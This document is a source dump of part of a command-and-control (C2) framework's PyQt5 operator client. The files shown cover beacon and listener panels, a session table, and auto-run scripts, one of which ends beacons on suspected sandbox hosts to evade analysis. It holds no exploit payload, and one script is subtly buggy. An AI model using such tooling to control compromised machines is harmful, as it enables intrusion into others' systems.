199 | self.thread.start()
200 |
201 | # self.updateScene()
202 |
203 |
204 | def __del__(self):
205 | self.getGraphInfoWorker.quit()
206 | self.thread.quit()
207 | self.thread.wait()
208 |
209 |
210 | def updateConnectors(self):
211 | for connector in self.listConnector:
212 | connector.update_line()
213 |
214 |
215 | # Update the graphe every X sec with information from the team server
216 | def updateGraph(self):
217 |
218 | #
219 | # Update beacons
220 | #
221 | responses = self.grpcClient.getSessions()
222 | sessions = list()
223 | for response in responses:
224 | sessions.append(response)
225 |
226 | # delete beacon
227 | for ix, nodeItem in enumerate(self.listNodeItem):
228 | runing=False
229 | for session in sessions:
230 | if session.beaconHash == nodeItem.beaconHash:
231 | runing=True
232 | if not runing and self.listNodeItem[ix].type == BeaconNodeItemType:
233 | for ix2, connector in enumerate(self.listConnector):
234 | if connector.beacon.beaconHash == nodeItem.beaconHash:
235 | print("[-] delete connector")
236 | self.scene.removeItem(self.listConnector[ix2])
237 | del self.listConnector[ix2]
238 | print("[-] delete beacon", nodeItem.beaconHash)
239 | self.scene.removeItem(self.listNodeItem[ix])
240 | del self.listNodeItem[ix]
241 |
242 | # add beacon
243 | for session in sessions:
244 | inStore=False
245 | for ix, nodeItem in enumerate(self.listNodeItem):
246 | if session.beaconHash == nodeItem.beaconHash:
247 | inStore=True
248 | if not inStore:
249 | item = NodeItem(BeaconNodeItemType, session.beaconHash, session.os, session.privilege, session.hostname)
250 | item.connectedListenerHash = session.listenerHash
251 | item.signaller.signal.connect(self.updateConnectors)
252 | self.scene.addItem(item)
253 | self.listNodeItem.append(item)
254 | print("[+] add beacon", session.beaconHash)
255 |
256 | #
257 | # Update listener
258 | #
259 | responses= self.grpcClient.getListeners()
260 | listeners = list()
261 | for listener in responses:
262 | listeners.append(listener)
263 |
264 | # delete listener
265 | for ix, nodeItem in enumerate(self.listNodeItem):
266 | runing=False
267 | for listener in listeners:
268 | if nodeItem.isResponsableForListener(listener.listenerHash):
269 | runing=True
270 | if not runing:
271 | # primary listener
272 | if self.listNodeItem[ix].type == ListenerNodeItemType:
273 | for ix2, connector in enumerate(self.listConnector):
274 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash:
275 | print("[-] delete connector")
276 | self.scene.removeItem(self.listConnector[ix2])
277 | del self.listConnector[ix2]
278 | print("[-] delete primary listener", nodeItem.listenerHash)
279 | self.scene.removeItem(self.listNodeItem[ix])
280 | del self.listNodeItem[ix]
281 |
282 | # beacon listener
283 | elif self.listNodeItem[ix].type == BeaconNodeItemType:
284 | if listener.listenerHash in self.listNodeItem[ix].listenerHash:
285 | for ix2, connector in enumerate(self.listConnector):
286 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash:
287 | print("[-] delete connector")
288 | self.scene.removeItem(self.listConnector[ix2])
289 | del self.listConnector[ix2]
290 | print("[-] delete secondary listener", nodeItem.listenerHash)
291 | self.listNodeItem[ix].listenerHash.remove(listener.listenerHash)
292 |
293 | # add listener
294 | for listener in listeners:
295 | inStore=False
296 | for ix, nodeItem in enumerate(self.listNodeItem):
297 | if nodeItem.isResponsableForListener(listener.listenerHash):
298 | inStore=True
299 | if not inStore:
300 | if not listener.beaconHash:
301 | item = NodeItem(ListenerNodeItemType, listener.listenerHash)
302 | item.signaller.signal.connect(self.updateConnectors)
303 | self.scene.addItem(item)
304 | self.listNodeItem.append(item)
305 | print("[+] add primary listener", listener.listenerHash)
306 | else:
307 | for nodeItem2 in self.listNodeItem:
308 | if nodeItem2.beaconHash == listener.beaconHash:
309 | nodeItem2.listenerHash.append(listener.listenerHash)
310 | print("[+] add secondary listener", listener.listenerHash)
311 |
312 | #
313 | # Update connectors
314 | #
315 | for nodeItem in self.listNodeItem:
316 | if nodeItem.type == BeaconNodeItemType:
317 | inStore=False
318 | beaconHash = nodeItem.beaconHash
319 | listenerHash = nodeItem.connectedListenerHash
320 | for connector in self.listConnector:
321 | if connector.listener.isResponsableForListener(listenerHash) and connector.beacon.beaconHash == beaconHash:
322 | inStore=True
323 | if not inStore:
324 | for listener in self.listNodeItem:
325 | if listener.isResponsableForListener(listenerHash)==True:
326 | connector = Connector(listener, nodeItem)
327 | self.scene.addItem(connector)
328 | connector.setZValue(-1)
329 | self.listConnector.append(connector)
330 | print("[+] add connector listener:", listenerHash, "beacon", beaconHash)
331 |
332 | for item in self.listNodeItem:
333 | item.setFlag(QGraphicsItem.ItemIsMovable)
334 | item.setFlag(QGraphicsItem.ItemIsSelectable)
335 |
336 |
337 | class GetGraphInfoWorker(QObject):
338 | checkin = pyqtSignal()
339 |
340 | def __init__(self, parent=None):
341 | super().__init__(parent)
342 | self.exit = False
343 |
344 | def __del__(self):
345 | self.exit=True
346 |
347 | def run(self):
348 | try:
349 | while self.exit==False:
350 | if self.receivers(self.checkin) > 0:
351 | self.checkin.emit()
352 | time.sleep(2)
353 | except Exception as e:
354 | pass
355 |
356 | def quit(self):
357 | self.exit=True
358 |
359 |
--------------------------------------------------------------------------------
/C2Client/C2Client/ListenerPanel.py:
--------------------------------------------------------------------------------
1 | import time
2 | import logging
3 |
4 | from PyQt5.QtWidgets import *
5 | from PyQt5.QtGui import *
6 | from PyQt5.QtCore import *
7 |
8 | from grpcClient import *
9 |
10 |
11 | #
12 | # Constant
13 | #
14 | ListenerTabTitle = "Listeners"
15 | AddListenerWindowTitle = "Add Listener"
16 |
17 | TypeLabel = "Type"
18 | IpLabel = "IP"
19 | PortLabel = "Port"
20 | DomainLabel = "Domain"
21 | ProjectLabel = "Project"
22 | TokenLabel = "Token"
23 |
24 | HttpType = "http"
25 | HttpsType = "https"
26 | TcpType = "tcp"
27 | GithubType = "github"
28 | DnsType = "dns"
29 | SmbType = "smb"
30 |
31 |
32 | #
33 | # Listener tab implementation
34 | #
35 | class Listener():
36 |
37 | def __init__(self, id, hash, type, host, port, nbSession):
38 | self.id = id
39 | self.listenerHash = hash
40 | self.type = type
41 | self.host = host
42 | self.port = port
43 | self.nbSession = nbSession
44 |
45 |
46 | class Listeners(QWidget):
47 |
48 | listenerScriptSignal = pyqtSignal(str, str, str, str)
49 |
50 | idListener = 0
51 | listListenerObject = []
52 |
53 |
54 | def __init__(self, parent, grpcClient):
55 | super(QWidget, self).__init__(parent)
56 |
57 | self.grpcClient = grpcClient
58 |
59 | self.createListenerWindow = None
60 |
61 | widget = QWidget(self)
62 | self.layout = QGridLayout(widget)
63 |
64 | self.label = QLabel(ListenerTabTitle)
65 | self.layout.addWidget(self.label)
66 |
67 | # List of sessions
68 | self.listListener = QTableWidget()
69 | self.listListener.setShowGrid(False)
70 | self.listListener.setSelectionBehavior(QTableView.SelectRows)
71 |
72 | self.listListener.setRowCount(0)
73 | self.listListener.setColumnCount(4)
74 |
75 | # self.listListener.cellPressed.connect(self.listListenerClicked)
76 | self.listListener.setContextMenuPolicy(Qt.CustomContextMenu)
77 | self.listListener.customContextMenuRequested.connect(self.showContextMenu)
78 |
79 | self.listListener.verticalHeader().setVisible(False)
80 | header = self.listListener.horizontalHeader()
81 | for i in range(header.count()):
82 | header.setSectionResizeMode(i, QHeaderView.Stretch)
83 | self.layout.addWidget(self.listListener)
84 |
85 | # Thread to get listeners every second
86 | # https://realpython.com/python-pyqt-qthread/
87 | self.thread = QThread()
88 | self.getListenerWorker = GetListenerWorker()
89 | self.getListenerWorker.moveToThread(self.thread)
90 | self.thread.started.connect(self.getListenerWorker.run)
91 | self.getListenerWorker.checkin.connect(self.getListeners)
92 | self.thread.start()
93 |
94 | self.setLayout(self.layout)
95 |
96 |
97 | def __del__(self):
98 | self.getListenerWorker.quit()
99 | self.thread.quit()
100 | self.thread.wait()
101 |
102 |
103 | def showContextMenu(self, position):
104 | index = self.listListener.indexAt(position)
105 | if not index.isValid():
106 | menu = QMenu()
107 | menu.addAction('Add')
108 | menu.triggered.connect(self.actionClicked)
109 | menu.exec_(self.listListener.viewport().mapToGlobal(position))
110 | else:
111 | row = index.row()
112 | self.item = str(self.listListener.item(row, 0).data(0))
113 |
114 | menu = QMenu()
115 | menu.addAction('Stop')
116 | menu.triggered.connect(self.actionClicked)
117 | menu.exec_(self.listListener.viewport().mapToGlobal(position))
118 |
119 |
120 | # catch stopListener menu click
121 | def actionClicked(self, action):
122 | if action.text() == "Add":
123 | self.listenerForm()
124 | elif action.text() == "Stop":
125 | hash = self.item
126 | for listenerStore in self.listListenerObject:
127 | if listenerStore.listenerHash[0:8] == hash:
128 | self.stopListener(listenerStore.listenerHash)
129 |
130 |
131 | # form for adding a listener
132 | def listenerForm(self):
133 | if self.createListenerWindow is None:
134 | self.createListenerWindow = CreateListner()
135 | self.createListenerWindow.procDone.connect(self.addListener)
136 | self.createListenerWindow.show()
137 |
138 |
139 | # send message for adding a listener
140 | def addListener(self, message):
141 | if message[0]=="github":
142 | listener = TeamServerApi_pb2.Listener(
143 | type=message[0],
144 | project=message[1],
145 | token=message[2])
146 | elif message[0]=="dns":
147 | listener = TeamServerApi_pb2.Listener(
148 | type=message[0],
149 | domain=message[1],
150 | port=int(message[2]))
151 | else:
152 | listener = TeamServerApi_pb2.Listener(
153 | type=message[0],
154 | ip=message[1],
155 | port=int(message[2]))
156 | self.grpcClient.addListener(listener)
157 |
158 |
159 | # send message for stoping a listener
160 | def stopListener(self, listenerHash):
161 | listener = TeamServerApi_pb2.Listener(
162 | listenerHash=listenerHash)
163 | self.grpcClient.stopListener(listener)
164 |
165 |
166 | # query the server to get the list of listeners
167 | def getListeners(self):
168 | responses = self.grpcClient.getListeners()
169 |
170 | listeners = list()
171 | for response in responses:
172 | listeners.append(response)
173 |
174 | # delete listener
175 | for ix, listenerStore in enumerate(self.listListenerObject):
176 | runing=False
177 | for listener in listeners:
178 | if listener.listenerHash == listenerStore.listenerHash:
179 | runing=True
180 | # delete
181 | if not runing:
182 | del self.listListenerObject[ix]
183 |
184 | for listener in listeners:
185 | inStore=False
186 | # if listener is already on our list
187 | for ix, listenerStore in enumerate(self.listListenerObject):
188 | # maj
189 | if listener.listenerHash == listenerStore.listenerHash:
190 | inStore=True
191 | listenerStore.nbSession=listener.numberOfSession
192 | # add
193 | # if listener is not yet already on our list
194 | if not inStore:
195 |
196 | self.listenerScriptSignal.emit("start", "", "", "")
197 |
198 | if listener.type == GithubType:
199 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.project, listener.token[0:10], listener.numberOfSession))
200 | elif listener.type == DnsType:
201 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, listener.port, listener.numberOfSession))
202 | elif listener.type == SmbType:
203 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.domain, listener.numberOfSession))
204 | else:
205 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.port, listener.numberOfSession))
206 | self.idListener = self.idListener+1
207 |
208 | self.printListeners()
209 |
210 |
211 | def printListeners(self):
212 | self.listListener.setRowCount(len(self.listListenerObject))
213 | self.listListener.setHorizontalHeaderLabels(["Listener ID", "Type", "Host", "Port"])
214 | for ix, listenerStore in enumerate(self.listListenerObject):
215 |
216 | listenerHash = QTableWidgetItem(listenerStore.listenerHash[0:8])
217 | self.listListener.setItem(ix, 0, listenerHash)
218 |
219 | type = QTableWidgetItem(listenerStore.type)
220 | self.listListener.setItem(ix, 1, type)
221 |
222 | host = QTableWidgetItem(listenerStore.host)
223 | self.listListener.setItem(ix, 2, host)
224 |
225 | port = QTableWidgetItem(str(listenerStore.port))
226 | self.listListener.setItem(ix, 3, port)
227 |
228 |
229 | class CreateListner(QWidget):
230 |
231 | procDone = pyqtSignal(list)
232 |
233 | def __init__(self):
234 | super().__init__()
235 |
236 | layout = QFormLayout()
237 | self.labelType = QLabel(TypeLabel)
238 | self.qcombo = QComboBox(self)
239 | self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType])
240 | self.qcombo.setCurrentIndex(1)
241 | self.qcombo.currentTextChanged.connect(self.changeLabels)
242 | self.type = self.qcombo
243 | layout.addRow(self.labelType, self.type)
244 |
245 | self.labelIP = QLabel(IpLabel)
246 | self.param1 = QLineEdit()
247 | self.param1.setText("0.0.0.0")
248 | layout.addRow(self.labelIP, self.param1)
249 |
250 | self.labelPort = QLabel(PortLabel)
251 | self.param2 = QLineEdit()
252 | self.param2.setText("8443")
253 | layout.addRow(self.labelPort, self.param2)
254 |
255 | self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend)
256 | layout.addRow(self.buttonOk)
257 |
258 | self.setLayout(layout)
259 | self.setWindowTitle(AddListenerWindowTitle)
260 |
261 |
262 | def changeLabels(self):
263 | if self.qcombo.currentText() == HttpType:
264 | self.labelIP.setText(IpLabel)
265 | self.labelPort.setText(PortLabel)
266 | elif self.qcombo.currentText() == HttpsType:
267 | self.labelIP.setText(IpLabel)
268 | self.labelPort.setText(PortLabel)
269 | elif self.qcombo.currentText() == TcpType:
270 | self.labelIP.setText(IpLabel)
271 | self.labelPort.setText(PortLabel)
272 | elif self.qcombo.currentText() == GithubType:
273 | self.labelIP.setText(ProjectLabel)
274 | self.labelPort.setText(TokenLabel)
275 | elif self.qcombo.currentText() == DnsType:
276 | self.labelIP.setText(DomainLabel)
277 | self.labelPort.setText(PortLabel)
278 |
279 |
280 | def checkAndSend(self):
281 | type = self.type.currentText()
282 | param1 = self.param1.text()
283 | param2 = self.param2.text()
284 |
285 | result = [type, param1, param2]
286 |
287 | self.procDone.emit(result)
288 | self.close()
289 |
290 |
291 | class GetListenerWorker(QObject):
292 | checkin = pyqtSignal()
293 |
294 | def __init__(self, parent=None):
295 | super().__init__(parent)
296 | self.exit = False
297 |
298 | def __del__(self):
299 | self.exit=True
300 |
301 | def run(self):
302 | try:
303 | while self.exit==False:
304 | if self.receivers(self.checkin) > 0:
305 | self.checkin.emit()
306 | time.sleep(2)
307 | except Exception as e:
308 | pass
309 |
310 | def quit(self):
311 | self.exit=True
312 |
--------------------------------------------------------------------------------
/C2Client/C2Client/ScriptPanel.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import logging
4 | import importlib
5 | from datetime import datetime
6 |
7 | from threading import Thread, Lock, Semaphore
8 | from PyQt5.QtWidgets import *
9 | from PyQt5.QtGui import *
10 | from PyQt5.QtCore import *
11 |
12 | from grpcClient import *
13 |
14 |
15 | #
16 | # scripts
17 | #
18 | try:
19 | import pkg_resources
20 | scriptsDir = pkg_resources.resource_filename(
21 | 'C2Client',
22 | 'Scripts'
23 | )
24 |
25 | except ImportError:
26 | scriptsDir = os.path.join(os.path.dirname(__file__), 'Scripts')
27 |
28 | if not os.path.exists(scriptsDir):
29 | os.makedirs(scriptsDir)
30 |
31 |
32 | LoadedScripts = []
33 | sys.path.insert(1, scriptsDir)
34 | for scriptName in os.listdir(scriptsDir):
35 | if scriptName.endswith(".py") and scriptName != "__init__.py":
36 | module_name = scriptName[:-3]
37 | try:
38 | # Dynamically import the script
39 | importedScript = importlib.import_module(module_name)
40 | LoadedScripts.append(importedScript)
41 | print(f"Successfully imported {scriptName}")
42 | except ImportError as e:
43 | print(f"Failed to import {scriptName}: {e}")
44 |
45 |
46 | #
47 | # Script tab implementation
48 | #
49 | class Script(QWidget):
50 | tabPressed = pyqtSignal()
51 | logFileName=""
52 | sem = Semaphore()
53 |
54 | def __init__(self, parent, grpcClient):
55 | super(QWidget, self).__init__(parent)
56 | self.layout = QVBoxLayout(self)
57 | self.layout.setContentsMargins(0, 0, 0, 0)
58 |
59 | self.grpcClient = grpcClient
60 |
61 | # self.logFileName=LogFileName
62 |
63 | self.editorOutput = QPlainTextEdit()
64 | self.editorOutput.setFont(QFont("Courier"));
65 | self.editorOutput.setReadOnly(True)
66 | self.layout.addWidget(self.editorOutput, 8)
67 |
68 | self.commandEditor = CommandEditor()
69 | self.layout.addWidget(self.commandEditor, 2)
70 | self.commandEditor.returnPressed.connect(self.runCommand)
71 |
72 | output = ""
73 | for script in LoadedScripts:
74 | output += script.__name__ + "\n"
75 | self.printInTerminal("Loaded Scripts:", output)
76 |
77 |
78 | def nextCompletion(self):
79 | index = self._compl.currentIndex()
80 | self._compl.popup().setCurrentIndex(index)
81 | start = self._compl.currentRow()
82 | if not self._compl.setCurrentRow(start + 1):
83 | self._compl.setCurrentRow(0)
84 |
85 |
86 | def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
87 | for script in LoadedScripts:
88 | scriptName = script.__name__
89 | try:
90 | if action == "start":
91 | methode = getattr(script, "OnSessionStart")
92 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed)
93 | if output:
94 | self.printInTerminal("OnSessionStart", output)
95 | elif action == "stop":
96 | methode = getattr(script, "OnSessionStop")
97 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed)
98 | if output:
99 | self.printInTerminal("OnSessionStop", output)
100 | elif action == "update":
101 | methode = getattr(script, "OnSessionUpdate")
102 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed)
103 | if output:
104 | self.printInTerminal("OnSessionUpdate", output)
105 | except:
106 | continue
107 |
108 |
109 | def listenerScriptMethod(self, action, hash, str3, str4):
110 | for script in LoadedScripts:
111 | scriptName = script.__name__
112 | try:
113 | if action == "start":
114 | methode = getattr(script, "OnListenerStart")
115 | output = methode(self.grpcClient)
116 | if output:
117 | self.printInTerminal("OnListenerStart", output)
118 | elif action == "stop":
119 | methode = getattr(script, "OnListenerStop")
120 | output = methode(self.grpcClient)
121 | if output:
122 | self.printInTerminal("OnListenerStop", output)
123 | except:
124 | continue
125 |
126 |
127 | def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result):
128 | for script in LoadedScripts:
129 | scriptName = script.__name__
130 | try:
131 | if action == "receive":
132 | methode = getattr(script, "OnConsoleReceive")
133 | output = methode(self.grpcClient)
134 | if output:
135 | self.printInTerminal("OnConsoleReceive", output)
136 | elif action == "send":
137 | methode = getattr(script, "OnConsoleSend")
138 | output = methode(self.grpcClient)
139 | if output:
140 | self.printInTerminal("OnConsoleSend", output)
141 | except:
142 | continue
143 |
144 | def mainScriptMethod(self, action, str2, str3, str4):
145 | for script in LoadedScripts:
146 | scriptName = script.__name__
147 | try:
148 | if action == "start":
149 | methode = getattr(script, "OnStart")
150 | output = methode(self.grpcClient)
151 | if output:
152 | self.printInTerminal("OnStart", output)
153 | elif action == "stop":
154 | methode = getattr(script, "OnStop")
155 | output = methode(self.grpcClient)
156 | if output:
157 | self.printInTerminal("OnStop", output)
158 | except:
159 | continue
160 |
161 |
162 | def event(self, event):
163 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
164 | self.tabPressed.emit()
165 | return True
166 | return super().event(event)
167 |
168 |
169 | def printInTerminal(self, cmd, result):
170 | now = datetime.now()
171 | formater = ''+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+'] '+' [+] '+'{} '+'
'
172 |
173 | self.sem.acquire()
174 | if cmd:
175 | self.editorOutput.appendHtml(formater.format(cmd))
176 | self.editorOutput.insertPlainText("\n")
177 | if result:
178 | self.editorOutput.insertPlainText(result)
179 | self.editorOutput.insertPlainText("\n")
180 | self.sem.release()
181 |
182 |
183 | def runCommand(self):
184 | commandLine = self.commandEditor.displayText()
185 | self.commandEditor.clearLine()
186 | self.setCursorEditorAtEnd()
187 |
188 | if commandLine == "":
189 | self.printInTerminal("", "")
190 |
191 | else:
192 | toto=1
193 |
194 |
195 | self.setCursorEditorAtEnd()
196 |
197 |
198 | # setCursorEditorAtEnd
199 | def setCursorEditorAtEnd(self):
200 | cursor = self.editorOutput.textCursor()
201 | cursor.movePosition(QTextCursor.End,)
202 | self.editorOutput.setTextCursor(cursor)
203 |
204 |
205 | class CommandEditor(QLineEdit):
206 | tabPressed = pyqtSignal()
207 | cmdHistory = []
208 | idx = 0
209 |
210 | def __init__(self, parent=None):
211 | super().__init__(parent)
212 |
213 | QShortcut(Qt.Key_Up, self, self.historyUp)
214 | QShortcut(Qt.Key_Down, self, self.historyDown)
215 |
216 | # self.codeCompleter = CodeCompleter(completerData, self)
217 | # # needed to clear the completer after activation
218 | # self.codeCompleter.activated.connect(self.onActivated)
219 | # self.setCompleter(self.codeCompleter)
220 | # self.tabPressed.connect(self.nextCompletion)
221 |
222 | def nextCompletion(self):
223 | index = self.codeCompleter.currentIndex()
224 | self.codeCompleter.popup().setCurrentIndex(index)
225 | start = self.codeCompleter.currentRow()
226 | if not self.codeCompleter.setCurrentRow(start + 1):
227 | self.codeCompleter.setCurrentRow(0)
228 |
229 | def event(self, event):
230 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
231 | self.tabPressed.emit()
232 | return True
233 | return super().event(event)
234 |
235 | def historyUp(self):
236 | if(self.idx=0):
237 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
238 | self.idx=max(self.idx-1,0)
239 | self.setText(cmd.strip())
240 |
241 | def historyDown(self):
242 | if(self.idx=0):
243 | self.idx=min(self.idx+1,len(self.cmdHistory)-1)
244 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
245 | self.setText(cmd.strip())
246 |
247 | def setCmdHistory(self):
248 | cmdHistoryFile = open('.termHistory')
249 | self.cmdHistory = cmdHistoryFile.readlines()
250 | self.idx=len(self.cmdHistory)-1
251 | cmdHistoryFile.close()
252 |
253 | def clearLine(self):
254 | self.clear()
255 |
256 | def onActivated(self):
257 | QTimer.singleShot(0, self.clear)
258 |
259 |
260 | class CodeCompleter(QCompleter):
261 | ConcatenationRole = Qt.UserRole + 1
262 |
263 | def __init__(self, data, parent=None):
264 | super().__init__(parent)
265 | self.createModel(data)
266 |
267 | def splitPath(self, path):
268 | return path.split(' ')
269 |
270 | def pathFromIndex(self, ix):
271 | return ix.data(CodeCompleter.ConcatenationRole)
272 |
273 | def createModel(self, data):
274 | def addItems(parent, elements, t=""):
275 | for text, children in elements:
276 | item = QStandardItem(text)
277 | data = t + " " + text if t else text
278 | item.setData(data, CodeCompleter.ConcatenationRole)
279 | parent.appendRow(item)
280 | if children:
281 | addItems(item, children, data)
282 | model = QStandardItemModel(self)
283 | addItems(model, data)
284 | self.setModel(model)
285 |
--------------------------------------------------------------------------------
/C2Client/C2Client/Scripts/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
--------------------------------------------------------------------------------
/C2Client/C2Client/Scripts/checkSandbox.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..")
5 |
6 | from grpcClient import *
7 |
8 |
9 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
10 | if hostname == "sandboxhostname":
11 | output += "checkSandbox:\nSandbox detected ending beacon\n";
12 |
13 | commandLine = "end"
14 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
15 | result = grpcClient.sendCmdToSession(command)
16 |
17 | return output
18 |
--------------------------------------------------------------------------------
/C2Client/C2Client/Scripts/listDirectory.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..")
5 |
6 | from grpcClient import *
7 |
8 |
9 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
10 | output = "listDirectory:\n";
11 | output += "load ListDirectory && ls\n";
12 |
13 | commandLine = "loadModule ListDirectory"
14 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
15 | result = grpcClient.sendCmdToSession(command)
16 |
17 | commandLine = "ls"
18 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine)
19 | result = grpcClient.sendCmdToSession(command)
20 |
21 | return output
22 |
--------------------------------------------------------------------------------
/C2Client/C2Client/Scripts/startListenerHttp8443.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..")
5 |
6 | from grpcClient import *
7 |
8 |
9 | def OnStart(grpcClient):
10 | output = "startListenerHttp8443:\nSend start listener https 8443\n";
11 |
12 | listener = TeamServerApi_pb2.Listener(
13 | type="https",
14 | ip="0.0.0.0",
15 | port=8443)
16 |
17 | grpcClient.addListener(listener)
18 |
19 | return output
20 |
21 |
--------------------------------------------------------------------------------
/C2Client/C2Client/Scripts/template.py.example:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..")
5 |
6 | from grpcClient import *
7 |
8 |
9 | def OnStart(grpcClient):
10 | output = "Scrip test.py: OnStart\n";
11 | return output
12 |
13 |
14 | def OnStop(grpcClient):
15 | output = "Scrip test.py: OnStop\n";
16 | return output
17 |
18 |
19 | def OnListenerStart(grpcClient):
20 | output = "Scrip test.py: OnListenerStart\n";
21 | return output
22 |
23 |
24 | def OnListenerStop(grpcClient):
25 | output = "Scrip test.py: OnListenerStop\n";
26 | return output
27 |
28 |
29 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
30 | output = "Scrip test.py: OnSessionStart\n";
31 |
32 | return output
33 |
34 |
35 | def OnSessionStop(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
36 | output = "Scrip test.py: OnSessionStop\n";
37 | return output
38 |
39 |
40 | def OnConsoleSend(grpcClient):
41 | output = "Scrip test.py: OnConsoleSend\n";
42 | return output
43 |
44 |
45 | def OnConsoleReceive(grpcClient):
46 | output = "Scrip test.py: OnConsoleReceive\n";
47 | return output
--------------------------------------------------------------------------------
/C2Client/C2Client/SessionPanel.py:
--------------------------------------------------------------------------------
1 | import time
2 | import logging
3 |
4 | from PyQt5.QtWidgets import *
5 | from PyQt5.QtGui import *
6 | from PyQt5.QtCore import *
7 |
8 | from grpcClient import *
9 |
10 |
11 | #
12 | # Session
13 | #
14 | class Session():
15 |
16 | def __init__(self, id, listenerHash, beaconHash, hostname, username, arch, privilege, os, lastProofOfLife, killed, internalIps, processId, additionalInformation):
17 | self.id = id
18 | self.listenerHash = listenerHash
19 | self.beaconHash = beaconHash
20 | self.hostname = hostname
21 | self.username = username
22 | self.arch = arch
23 | self.privilege = privilege
24 | self.os = os
25 | self.lastProofOfLife = lastProofOfLife
26 | self.killed = killed
27 | self.internalIps = internalIps
28 | self.processId = processId
29 | self.additionalInformation = additionalInformation
30 |
31 |
32 | class Sessions(QWidget):
33 |
34 | interactWithSession = pyqtSignal(str, str, str, str)
35 | sessionScriptSignal = pyqtSignal(str, str, str, str, str, str, str, str, str, bool)
36 |
37 | idSession = 0
38 | listSessionObject = []
39 |
40 |
41 | def __init__(self, parent, grpcClient):
42 | super(QWidget, self).__init__(parent)
43 |
44 | self.grpcClient = grpcClient
45 |
46 | widget = QWidget(self)
47 | self.layout = QGridLayout(widget)
48 |
49 | self.label = QLabel('Sessions')
50 | self.layout.addWidget(self.label)
51 |
52 | # List of sessions
53 | self.listSession = QTableWidget()
54 | self.listSession.setShowGrid(False)
55 | self.listSession.setSelectionBehavior(QTableView.SelectRows)
56 | self.listSession.setRowCount(0)
57 | self.listSession.setColumnCount(11)
58 |
59 | self.listSession.setContextMenuPolicy(Qt.CustomContextMenu)
60 | self.listSession.customContextMenuRequested.connect(self.showContextMenu)
61 |
62 | self.listSession.verticalHeader().setVisible(False)
63 | header = self.listSession.horizontalHeader()
64 | for i in range(header.count()):
65 | header.setSectionResizeMode(i, QHeaderView.Stretch)
66 | QTimer.singleShot(100, self.switch_to_interactive)
67 | self.layout.addWidget(self.listSession)
68 |
69 | # Thread to fetch sessions every second
70 | # https://realpython.com/python-pyqt-qthread/
71 | self.thread = QThread()
72 | self.getSessionsWorker = GetSessionsWorker()
73 | self.getSessionsWorker.moveToThread(self.thread)
74 | self.thread.started.connect(self.getSessionsWorker.run)
75 | self.getSessionsWorker.checkin.connect(self.getSessions)
76 | self.thread.start()
77 |
78 | self.setLayout(self.layout)
79 |
80 |
81 | def resizeEvent(self, event):
82 | super().resizeEvent(event)
83 | self.listSession.verticalHeader().setVisible(False)
84 | header = self.listSession.horizontalHeader()
85 | for i in range(header.count()):
86 | header.setSectionResizeMode(i, QHeaderView.Stretch)
87 | QTimer.singleShot(100, self.switch_to_interactive)
88 |
89 |
90 | def switch_to_interactive(self):
91 | header = self.listSession.horizontalHeader()
92 | for i in range(header.count()):
93 | header.setSectionResizeMode(i, QHeaderView.Interactive)
94 |
95 | def __del__(self):
96 | self.getSessionsWorker.quit()
97 | self.thread.quit()
98 | self.thread.wait()
99 |
100 |
101 | def showContextMenu(self, position):
102 | index = self.listSession.indexAt(position)
103 | if not index.isValid():
104 | return
105 |
106 | row = index.row()
107 | self.item = str(self.listSession.item(row, 0).data(0))
108 |
109 | menu = QMenu()
110 | menu.addAction('Interact')
111 | menu.addAction('Stop')
112 | menu.addAction('Delete')
113 | menu.triggered.connect(self.actionClicked)
114 | menu.exec_(self.listSession.viewport().mapToGlobal(position))
115 |
116 |
117 | # catch Interact and Stop menu click
118 | def actionClicked(self, action):
119 | hash = self.item
120 | for ix, sessionStore in enumerate(self.listSessionObject):
121 | if sessionStore.beaconHash[0:8] == hash:
122 | if action.text() == "Interact":
123 | self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username)
124 | elif action.text() == "Stop":
125 | self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash)
